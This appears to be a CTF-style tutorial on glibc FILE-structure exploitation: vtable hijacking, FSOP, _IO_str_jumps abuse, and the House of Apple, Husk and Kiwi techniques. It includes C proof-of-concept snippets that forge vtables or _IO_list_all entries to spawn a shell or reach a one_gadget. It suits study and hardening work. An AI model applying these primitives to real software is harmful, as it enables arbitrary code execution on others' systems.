Exploiting FILE Structure in glibc for Arbitrary Code Execution
The FILE structure in glibc, specifically _IO_FILE_plus, is central to many advanced exploitation techniques. These structures are linked via a global pointer _IO_list_all, forming a singly-linked list that includes the standard streams: _IO_2_1_stdin_, _IO_2_1_stdout_, and _IO_2_1_stderr_. Each FILE object contaisn a vtable (_IO_jump_t) holding function pointers for I/O operations.
Key Exploitation Vectors
File Descriptor Manipulation
The _fileno field (offset 0x70 in stdin) holds the file descriptor. By overwriting this value (e.g., chagning stdin’s fd from 0 to 4), subsequent reads can be redirected to an arbitrary file descriptor, enabling direct flag reading if the target fd is known.
Vtable Hijacking
Prior to glibc 2.24, the absence of _IO_vtable_check allowed attackers to either:
- Overwrite individual function pointers within a legitimate vtable (if writable).
- Redirect the entire vtable pointer to attacker-controlled memory containing a fake vtable.
For example, overwriting the _IO_new_file_xsputn entry with system’s address and placing "sh\x00" at the start of the FILE structure allows fwrite to spawn a shell.
#include <stdio.h>
#include <stdlib.h>
typedef unsigned long long u64;
int main() {
FILE *fp = fopen("./dummy.txt", "w");
u64 *fake_vtable = malloc(0x40);
fake_vtable[7] = (u64)system; // _IO_new_file_xsputn offset
*(u64*)((char*)fp + 0xD8) = (u64)fake_vtable; // vtable pointer
memcpy(fp, "sh\x00", 3); // Command in FILE struct
fwrite("trigger", 1, 7, fp); // Invoke system("sh")
}
FSOP (File Stream Oriented Programming)
FSOP hijacks _IO_list_all to point to a forged _IO_FILE_plus structure. When exit() or abort() triggers _IO_flush_all_lockp, it iterates the list and calls _IO_OVERFLOW on each stream meeting:
fp->_mode <= 0fp->_IO_write_ptr > fp->_IO_write_base
This technique requires bypassing checks in _IO_flush_all_lockp and is effective only in glibc < 2.24 due to vtable validation.
// FSOP example for glibc 2.23
u64 libc_base = (u64)&puts - 0x6f5d0;
u64 *fake_file = malloc(0x200);
fake_file[24] = 0; // _mode <= 0
fake_file[5] = 1; // _IO_write_ptr
fake_file[4] = 0; // _IO_write_base
fake_file[27] = (u64)&fake_file[32]; // vtable ptr
fake_file[35] = libc_base + 0x4525a; // _IO_overflow -> one_gadget
*(u64*)(libc_base + 0x3c4520) = (u64)fake_file; // _IO_list_all
exit(0);
Leveraging _IO_str_jumps
From glibc 2.24+, vtable pointers must reside in the __libc_IO_vtables section. The _IO_str_jumps structure (within this section) provides a valid target. Its _IO_str_finish function (pre-2.28) calls a function pointer stored at fp + 0xE8:
void _IO_str_finish(FILE *fp, int dummy) {
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
((void(*)(void*))((char*)fp + 0xE8))(fp->_IO_buf_base);
}
By setting:
fp->_IO_buf_base = "/bin/sh"*(u64*)(fp + 0xE8) = systemfp->vtable = &_IO_str_jumps - 0x8(to trigger_IO_str_finish)
and invoking exit(), a shell is spawned.
House of Apple: Wide Data Exploitation
The _wide_data field points to a _IO_wide_data structure containing its own vtable (_wide_vtable). Unlike the primary vtable, _wide_vtable lacks validation in some function (e.g., _IO_WOVERFLOW). This allows chaining:
- Redirect primary vtable to
_IO_wfile_jumpsvariants. - Control
_wide_datato point to attacker memory. - Set
_wide_vtableto a fake table with hijacked function pointers.
For instance, _IO_wfile_underflow calls _libio_codecvt_in, which invokes a function pointer from _codecvt->__cd_in.step->__fct, enabling RIP control.
House of Husk: Printf Function Table Attack
The __printf_function_table and __printf_arginfo_table store handlers for custom format specifiers. By corrupting these tables (e.g., via unsorted bin attack after enlarging global_max_fast), a format specifier like %X can trigger a one-gadget:
// After leaking libc and performing unsorted bin attack
*(u64*)(heap_chunk_for_arginfo + ('X'-2)*8) = libc_base + one_gadget;
free(chunk_overwriting_printf_tables);
printf("%X", 0); // Triggers one_gadget
House of Kiwi: Assert-Based Trigger
Triggering __malloc_assert (e.g., via invalid top chunk size) calls fflush(stderr), which invokes _IO_new_file_sync. If _IO_file_jumps is writable, overwriting its _IO_new_file_sync entry with a gadget yields code execution.
Mitigations and Version-Specific Notes
- glibc ≥ 2.24: Enforces vtable pointer validation via
_IO_vtable_check. - glibc ≥ 2.28:
_IO_str_finishusesfreeinstead of calling_free_buffer. - glibc ≥ 2.34: Removes malloc hooks;
_IO_helper_jumpsmay become unwritable. - glibc ≥ 2.36:
__malloc_assertbypasses stdio, using direct syscalls.
These techniques highlight the evolution of glibc hardening and the creativity required to bypass modern protections.